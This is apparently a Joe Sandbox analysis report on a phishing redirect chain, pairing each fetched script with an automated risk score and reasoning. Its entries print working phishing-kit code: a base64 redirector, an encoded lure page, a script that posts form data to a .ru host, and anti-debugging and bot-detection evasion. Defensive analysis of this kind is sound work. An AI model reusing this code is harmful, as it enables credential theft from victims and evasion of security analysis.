function base64DecodeUrl(str){ return decodeURIComponent(atob(str).split('').map(function(c) { return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2); }).join('')); } window.onload = function() { var hash = window.location.hash.substr(1); // Get the fragment after the '#' var url; if (hash && hash.substr(0, 4) === 'http') { url = hash; // If the fragment starts with 'http', use it as the URL } else { if (hash.includes('/')) { url = base64DecodeUrl(hash.split('/')[0])+hash.split('/')[1]; // If not, try to base64 decode it } else { url = base64DecodeUrl(hash); // If not, try to base64 decode it } } if (url && /^(https?:\/\/)/.test(url)) { // Regex to check if the url starts with 'http://' or 'https://' window.location.href = url; // If it's a valid URL, redirect } };
URL: https://www.yuxingketang.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://www.yuxingketang.com
URL: https://cia.vomivor.ru/SwWHk/%23dGVzbGFAdGVzbGEuY2... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and the presence of anti-debugging techniques further increase the risk. Overall, this script demonstrates a high likelihood of malicious intent and should be treated with caution." }
if(atob("aHR0cHM6Ly9qNy52b21pdm9yLnJ1L1N3V0hrLw==") == "nomatch"){ document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNMQ3JlR2ZiSldvIGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI0xDcmVHZmJKV28gaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI0xDcmVHZmJKV28gaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojTENyZUdmYkpXbyBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI0xDcmVHZmJKV28uY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMTEycHg7Lyp3aWR0aDogMTAwJTsqL3BhZGRpbmctcmlnaHQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO3BhZGRpbmctbGVmdDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7bWFyZ2luLXJpZ2h0OiBhdXRvO21hcmdpbi1sZWZ0OiBhdXRvO30NCiNMQ3JlR2ZiSldvIC50ZXh0LWNlbnRlciB7dGV4dC1hbGlnbjogY2VudGVyIWltcG9ydGFudDt9DQpAbWVkaWEgKG1pbi13aWR0aDo5OTJweCl7DQojTENyZUdmYkpXbyAuY29sLWxnLTR7ZmxleDowIDAgYXV0bzt3aWR0aDozMy4zMzMzMzMzMyU7fQ0KfQ0KI0xDcmVHZmJKV28gLmRpc3BsYXktNCB7Zm9udC1zaXplOiAxLjI1cmVtIWltcG9ydGFudDt9DQojTENyZUdmYkpXbyAubXQtMiB7bWFyZ2luLXRvcDogMC41cmVtIWltcG9ydGFudDt9DQojTENyZUdmYkpXbyAuaDQge2ZvbnQtc2l6ZTogY2FsYyguOTAwcmVtICsgLjN2dyk7fQ0KI0xDcmVHZmJKV28gLmp1c3RpZnktY29udGVudC1jZW50ZXJ7anVzdGlmeS1jb250ZW50OmNlbnRlciFpbXBvcnRhbnQ7fQ0KI0xDcmVHZmJKV28ubXQtNXttYXJnaW4tdG9wOjNyZW0haW1wb3J0YW50O30NCiNMQ3JlR2ZiSldvIC5tdC00IHttYXJnaW4tdG9wOiAxcmVtIWltcG9ydGFudDt9DQojTENyZUdmYkpXbyAjcGlZdWtDZGx5TyB7Y29sb3I6ICM2Yzc1N2Q7Zm9udC1zaXplOjE0cHg7bWFyZ2luLXRvcDogLjVyZW07fQ0KICAgIDwvc3R5bGU+DQogICAgPHNjcmlwdD4NCiAgICBpZiAobmF2aWdhdG9yLndlYmRyaXZlciB8fCB3aW5kb3cuY2FsbFBoYW50b20gfHwgd2luZG93Ll9waGFudG9tIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5jbHVkZXMoIkJ1cnAiKSkgew0KICAgICAgICB3aW5kb3cubG9jYXRpb24gPSAiYWJvdXQ6YmxhbmsiOw0KfQ0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgaWYgKGV2ZW50LmtleUNvZGUgPT09IDEyMykgew0KICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgaWYgKA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LnNoaWZ0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDY3KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3NCkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzUpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDcyKSB8fA0KICAgICAgICAoZXZlbnQubWV0YUtleSAmJiBldmVudC5hbHRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA2NykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gODUpDQogICAgKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQp9KTsNCmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NvbnRleHRtZW51JywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgIHJldHVybiBmYWxzZTsNCn0pOw0KUmRsdHVyQWNtZyA9IGZhbHNlOw0KKGZ1bmN0aW9uIHdua3BvQWN2R0goKSB7DQogICAgbGV0IHlsRVN3cFV0VUUgPSBmYWxzZTsNCiAgICBjb25zdCBBU3pQeWdaeWR4ID0gMTAwOw0KICAgIHNldEludGVydmFsKGZ1bmN0aW9uKCkgew0KICAgICAgICBjb25zdCBSVEJFa2JHV2NLID0gcGVyZm9ybWFuY2Uubm93KCk7DQogICAgICAgIGRl
URL: https://cia.vomivor.ru/SwWHk/%23dGVzbGFAdGVzbGEuY2... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated URLs and the interaction with an unknown domain 'tBZTnYZ7P65ro81mJJn8pL20TBE8aV4bxaZ6erW6vjtxM6GOe59fx.lpliwptf.ru' further increase the risk. While the script may have some legitimate functionality, such as a CAPTCHA implementation, the overall behavior is highly suspicious and indicative of potential malicious intent." }
turnstile.render('#cf', { sitekey: '0x4AAAAAAA1P_JrhPaLt9lz7', 'error-callback': tlkJIsoVPS, callback: MuKNjnzZpE, }); function tlkJIsoVPS() { turnstile.reset(); } function MuKNjnzZpE() { var EKkgCzMgPv = document.getElementById("tSUgaFBRlJ"); EKkgCzMgPv.onsubmit = function (event) { event.preventDefault(); }; document.getElementById("pagelink").value = '0ABIDV'; var laAbOaiWIi = "../xuWFGBPj8ymPYloYbMxdEtU3OWbRsTmh3l4"; fetch('https://tBZTnYZ7P65ro81mJJn8pL20TBE8aV4bxaZ6erW6vjtxM6GOe59fx.lpliwptf.ru/hqehztviuizcugptikqsPqiNSlhKpFXBLKPGQIIJFHQLDCYSOHTDVZEWSTJOUQFPCJBFBMCLPSWQDEKWVBJFUMWI', { method: "GET", }).then(response => { return response.text() }).then(text => { if(text == 0){ fetch(laAbOaiWIi, { method: "POST", body: new FormData(EKkgCzMgPv) }).then(response => { return response.json(); }).then(data => { if(data['status'] == 'success'){ if(RdlturAcmg == false){ location.reload(); } } if(data['status'] == 'error'){ window.location.replace('https://powerbi.microsoft.com'); } }); } if(text != 0){ window.location.replace('https://powerbi.microsoft.com'); } }) .catch(error => { window.location.replace('https://powerbi.microsoft.com'); }); }
URL: https://cia.vomivor.ru/SwWHk/%23dGVzbGFAdGVzbGEuY2... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to an external website. The combination of these behaviors suggests a malicious intent to prevent analysis and potentially compromise the user's system." }
if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank"; } document.addEventListener('keydown', function(event) { if (event.keyCode === 123) { event.preventDefault(); return false; } if ( (event.ctrlKey && event.keyCode === 85) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 73) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 67) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 74) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 75) \|\| (event.ctrlKey && event.keyCode === 72) \|\| (event.metaKey && event.altKey && event.keyCode === 73) \|\| (event.metaKey && event.altKey && event.keyCode === 67) \|\| (event.metaKey && event.keyCode === 85) ) { event.preventDefault(); return false; } }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); return false; }); RdlturAcmg = false; (function wnkpoAcvGH() { let ylESwpUtUE = false; const ASzPygZydx = 100; setInterval(function() { const RTBEkbGWcK = performance.now(); debugger; const gTbwkoHAhQ = performance.now(); if (gTbwkoHAhQ - RTBEkbGWcK > ASzPygZydx && !ylESwpUtUE) { RdlturAcmg = true; ylESwpUtUE = true; window.location.replace('https://powerbi.microsoft.com'); } }, 100); })();
URL: https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a part of the CryptoJS library, which is a well-known and widely used cryptography library. It does not contain any high-risk indicators such as dynamic code execution, data exfiltration, or redirects to malicious domains. The code primarily focuses on cryptographic operations and data manipulation, which are common in legitimate applications. While it uses some legacy practices like the `XDomainRequest` API, these pose minor risks and are not inherently malicious. Overall, the script seems to be a benign implementation of cryptographic functionality and is likely part of a legitimate application." }
!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();return t.init.apply(t,arguments),t},init:function(){},mixIn:function(t){for(var e in t)t.hasOwnProperty(e)&&(this[e]=t[e]);t.hasOwnProperty("toString")&&(this.toString=t.toString)},clone:function(){return this.init.prototype.extend(this)}},l=n.WordArray=o.extend({init:function(t,e){t=this.words=t\|\|[],this.sigBytes=null!=e?e:4t.length},toString:function(t){return(t\|\|c).stringify(this)},concat:function(t){var e=this.words,r=t.words,i=this.sigBytes,n=t.sigBytes;if(this.clamp(),i%4)for(var o=0;o<n;o++){var s=r[o>>>2]>>>24-o%48&255;e[i+o>>>2]\|=s<<24-(i+o)%48}else for(var c=0;c<n;c+=4)e[i+c>>>2]=r[c>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%48,t.length=h.ceil(e/4)},clone:function(){var t=o.clone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)try{return i.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}());return new l.init(e,t)}}),s=t.enc={},c=s.Hex={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n<r;n++){var o=e[n>>>2]>>>24-n%48&255;i.push((o>>>4).toString(16)),i.push((15&o).toString(16))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i<e;i+=2)r[i>>>3]\|=parseInt(t.substr(i,2),16)<<24-i%84;return new l.init(r,e/2)}},a=s.Latin1={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n<r;n++){var o=e[n>>>2]>>>24-n%48&255;i.push(String.fromCharCode(o))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i<e;i++)r[i>>>2]\|=(255&t.charCodeAt(i))<<24-i%48;return new l.init(r,e)}},f=s.Utf8={stringify:function(t){try{return decodeURIComponent(escape(a.stringify(t)))}catch(t){throw new Error("Malformed UTF-8 data")}},parse:function(t){return a.parse(unescape(encodeURIComponent(t)))}},d=n.BufferedBlockAlgorithm=o.extend({reset:function(){this._data=new l.init,this._nDataBytes=0},_append:function(t){"string"==typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;a+=o)this._doProcessBlock(i,a);e=i.splice(0,c),r.sigBytes-=n}return new l.init(e,n)},clone:function(){var t=o.clone.call(this);return t._data=this._data.clone(),t},_minBufferSize:0}),u=(n.Hasher=d.extend({cfg:o.extend(),init:function(t){this.cfg=this.cfg.extend(t),this.reset()},reset:function(){d.reset.call(this),this._doReset()},update:function(t){return this._append(t),this._process(),this},finalize:function(t){return t&&this._append(t),this._doFinalize()},blockSize:16,_createHelper:function(r){return function(t,e){return new r.init(e).finalize(t)}},_createHmacHelper:function(r){return function(t,
URL: https://code.jquery.com/jquery-3.6.0.min.js... Model: Joe Sandbox AI	```json { "risk_score": 1, "reasoning": "The provided JavaScript snippet is a part of the jQuery library, which is a widely used and reputable open-source library for DOM manipulation and event handling. The code does not exhibit any high-risk or moderate-risk behaviors such as dynamic code execution, data exfiltration, or redirects to suspicious domains. It primarily consists of utility functions and object manipulations typical of a library. There are no interactions with external domains or obfuscated code present. Therefore, it is considered low risk." }
/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license / !function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?n[o.call(e)]\|\|"object":typeof e}var f="3.6.0",S=function(e,t){return new S.fn.init(e,t)};function p(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n\|\|0===t\|\|"number"==typeof t&&0<t&&t-1 in e)}S.fn=S.prototype={jquery:f,constructor:S,length:0,toArray:function(){return s.call(this)},get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(s.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:u,sort:t.sort,splice:t.splice},S.extend=S.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]\|\|{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]\|\|{},s++),"object"==typeof a\|\|m(a)\|\|(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(S.isPlainObject(r)\|\|(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i\|\|S.isPlainObject(n)?n:{},i=!1,a[t]=S.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},S.extend({expando:"jQuery"+(f+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(p(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},makeArray:function(e,t){var n=t\|\|[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(p(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&a.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&a.push(i);return g(a)},guid:1,support:y}),"function"==typeof Symbol&&(S.fn[Symbol.iterator]=t[Symbol.iterator]),S.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){n["[object "+t+"]"]=t.toLowerCase()});var d=function(n){var e,d,b,o,i,h,f,g,w,u,l,T,C,a,E,v,s,c,y,S="s
URL: https://challenges.cloudflare.com/cdn-cgi/challeng... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a Cloudflare challenge script, which is a common security mechanism used to protect websites from abuse. The script sets up various configuration options for the Cloudflare challenge and includes functionality to handle communication between the challenge and the parent window. While the script uses some dynamic behavior, such as `postMessage()`, it does not exhibit any clear signs of malicious intent or high-risk indicators. The script seems to be a legitimate part of the Cloudflare challenge system and is likely not a security concern." }
(function(){ window._cf_chl_opt={ cvId: '3', cZone: 'challenges.cloudflare.com', cTplV: 5, chlApivId: '0', chlApiWidgetId: 'xft9n', chlApiSitekey: '0x4AAAAAAA1P_JrhPaLt9lz7', chlApiMode: 'managed', chlApiSize: 'normal', chlApiRcV: 'jPwnbJry_nUFW3KZKC8N.8_QS8vAD.eup2TRMrovR5k-1734452884-1.3.1.1-kETMYtm1A6KQ_fUIDAC7YebdWlvfbty5E36X3OP1Gok', chlApiTimeoutEncountered: 0, chlApiOverrunBudgetMs:10000, chlTimeoutMs:120000, cK:[], cType: 'chl_api_m', cRay: '8f3848bd0f85ac48', cH: 'oIEMu6qdWXnGlv8eEPsBXnaz8eFBE2Owd5rrswd_B44-1734452884-1.1.1.1-VkIHHsOYbxEh3IBH4vb8KkhBzTV3aJ1zVkWn5oC5P0A0MtKXHBvOfW5o53Ai72L1', cFPWv: 'b', cLt: 'n', chlApiFailureFeedbackEnabled:true, chlApiLoopFeedbackEnabled:false, wOL:false, wT: 'auto', wS: 'normal', md: '1kjbNbgiCbMH_QwLAFl2Y0la2SHQr1PVbvxchIUlK8c-1734452884-1.1.1.1-CoP1ca_UD_IZ53DOGXc8BLl5LvVjnk3.UoW7sWUNlC3lFSGCajjriaxUsKiUrtqu7lD3OViUphlikRoR_EqEhneJyBKTLciWRYo2DimwifuGAOG6ycsA9GmBFHwaqpfKgT1w9zO7EV3GaC8pEEHY31vOsfz7mGFOUr49jjkeJ9bKPOXT7TSpWytsHXmOMsvkdjsruU.y8n_HX08_9K.dVk3_vGWpy5KkqZpxga.w_xIgJIcwvidO8WGCEeI8WBt9_YkFP9T_9IGOX8L1dry5qPv37VrVXhuKA_oejAX9XZC6KyTnlljSIJH2KMCYFXP_.jK6JLP6hXLAvpaTrc_HzhXp6Cubb4aEaQi954GKmWoyEjGrfu8JtebrccZDI3sZaYq0nNsfo4.bxQ5Xpo5JRrU_K3aOEJABWTFYUe3fE3WgpsVCaE_htzxgHlH3Z4yukRO9rEXLgFJFLRnJCrPZVZQf6kr45XxgxAYXJKD3QOmQ2e8oKbQbkHQYTsk7Rjn3Lp2_bzrc3qZtzo4vR5bvo8xXKmftPnKIeG5tkSvbU6JxTjy58E83tXovB.OoznP5UUt5TD2SZ6lfRNi29CdGgljGankF5vB6gpDqFz2kdjWHbgL1W0um1e2.UhJql7zps45kTYTuMNP6Eb9D1lC_cuPP5olkMTcAChAX9InIBuLLn04mg7DZgv3l8hBRmWWRZ0ybJ2LMAPl4rZGnxNXCfc4hrxxfnLkwT3M3Cu8uLK5DTEknjEUMGkoH2othkAU_UQ9Nx7li.YTMC9_LlAmPspJfY8iZwLORSCIq.JsC_kQqrgQ2d_wbBYQGIoiUBKahsMiXJNXwUvcbjbCvIeJM2FBQV2sfY__9TcWggYiWc5dgk2eegzQnu3bBEqPmtyv6upIDMSr2PIdtEQOTLH0cQQMkrMb0pbb45IyDJVs.9DYSaCGBkkoAiypauIymh7yoJHXTCr10eKMPGCE3OXynBwGo868qFVOeFR24LvrhMBmOg59_5ydRU3tSdV_gDzDw2TPDDG8.MXTU_6HK1LH.6OVFh_hR9bE3xb_kaoA9MsOQinx8GrIUejR8uD0X3DeOFamdsHglzwG.3wFtD5NT0ioTuowqLEY9_ce_Dm_bQqXr2whFn2RB_9desydpxkML3mxHagIKTqpdf85uo1Sfd0p7vw1r7QjJGlaKB4fY_Ni92aHSfqWI9kT67rV8v50h5XcjENKMC8qpixgs.kyByGXtpfzTtmY0NR8TdkNV12lnRoqQLdlVcmBSOKV5VBH_.SclqjOKFKpylQtMelikostFH7WdZiSoHjTMQeIIZAe4WdKXJc_J76baNQf0QPShrIev0ANgX1NOEcZuje9aryoJsN_Be5scDuWrqg7L47Fl4egYdiT0fQcR4hskLkcwIuutl.6X9YFANIl_LnTQSw', cITimeS: '1734452884', refresh: function(){ if(window['parent']){ window['parent'].postMessage({ source: 'cloudflare-challenge', widgetId: 'xft9n', nextRcV: 'jPwnbJry_nUFW3KZKC8N.8_QS8vAD.eup2TRMrovR5k-1734452884-1.3.1.1-kETMYtm1A6KQ_fUIDAC7YebdWlvfbty5E36X3OP1Gok', event: 'reloadRequest', }, ""); } } }; var handler = function(event) { var e = event.data; if (e.source && e.source === 'cloudflare-challenge' && e.event === 'meow' && e.widgetId === window._cf_chl_opt.chlApiWidgetId) { if(window['parent']){ window['parent'].postMessage({ source: 'cloudflare-challenge', widgetId: window._cf_chl_opt.chlApiWidgetId, event: 'food', seq: e.seq, }, ''); } } } window.addEventListener('message', handler); }());
URL: https://challenges.cloudflare.com/cdn-cgi/challeng... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The provided JavaScript snippet appears to be a Cloudflare challenge script, which is a common security mechanism used to protect websites from bots and other automated threats. The script does not contain any high-risk indicators, such as dynamic code execution, data exfiltration, or redirects to malicious domains. The script is primarily responsible for handling the Cloudflare challenge and providing translations for various messages. This behavior is consistent with the expected functionality of a Cloudflare challenge script, and there are no clear signs of malicious intent. Therefore, the risk score is assessed as 1 (Low Risk)." }
window._cf_chl_opt.uaO=false;window._cf_chl_opt.SyWOU3={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support"},"translations":{"feedback_report_output_subtitle":"Your%20feedback%20report%20has%20been%20successfully%20submitted","invalid_domain":"Invalid%20domain.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","turnstile_overrun_description":"Stuck%20here%3F","turnstile_feedback_description":"Send%20Feedback","turnstile_failure":"Error","turnstile_footer_privacy":"Privacy","turnstile_refresh":"Refresh","invalid_sitekey":"Invalid%20sitekey.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","outdated_browser":"Your%20browser%20is%20out%20of%20date.%20Update%20your%20browser%20to%20view%20this%20site%20properly.%3Cbr%2F%3E%3Ca%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%20href%3D%22https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support%22%3EClick%20here%20for%20more%20information%3C%2Fa%3E","time_check_cached_warning":"Your%20device%20clock%20is%20set%20to%20a%20wrong%20time%20or%20this%20challenge%20page%20was%20accidentally%20cached%20by%20an%20intermediary%20and%20is%20no%20longer%20available","not_embedded":"This%20challenge%20must%20be%20embedded%20into%20a%20parent%20page.","check_delays":"Verification%20is%20taking%20longer%20than%20expected.%20Check%20your%20Internet%20connection%20and%20%3Ca%20class%3D%22refresh_link%22%3Erefresh%20the%20page%3C%2Fa%3E%20if%20the%20issue%20persists.","turnstile_success":"Success%21","turnstile_verifying":"Verifying...","human_button_text":"Verify%20you%20are%20human","testing_only":"Testing%20only.","turnstile_expired":"Expired","turnstile_feedback_report":"Having%20trouble%3F","turnstile_iframe_alt":"Widget%20containing%20a%20Cloudflare%20security%20challenge","turnstile_footer_terms":"Terms","turnstile_timeout":"Timed%20out","testing_only_always_pass":"Testing%20only%2C%20always%20pass."},"polyfills":{"feedback_report_output_subtitle":false},"rtl":false,"lang":"en-us"};~function(gJ,eM,eN,eT,eU,fk,fl,fp,fq,fx,fB,fC,fF,fI,fK,fL,fM,fY,ga,gg,gh,gi,gs,gD,gH,eR,eS){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(1225))/1+-parseInt(gI(169))/2(parseInt(gI(715))/3)+-parseInt(gI(1082))/4+parseInt(gI(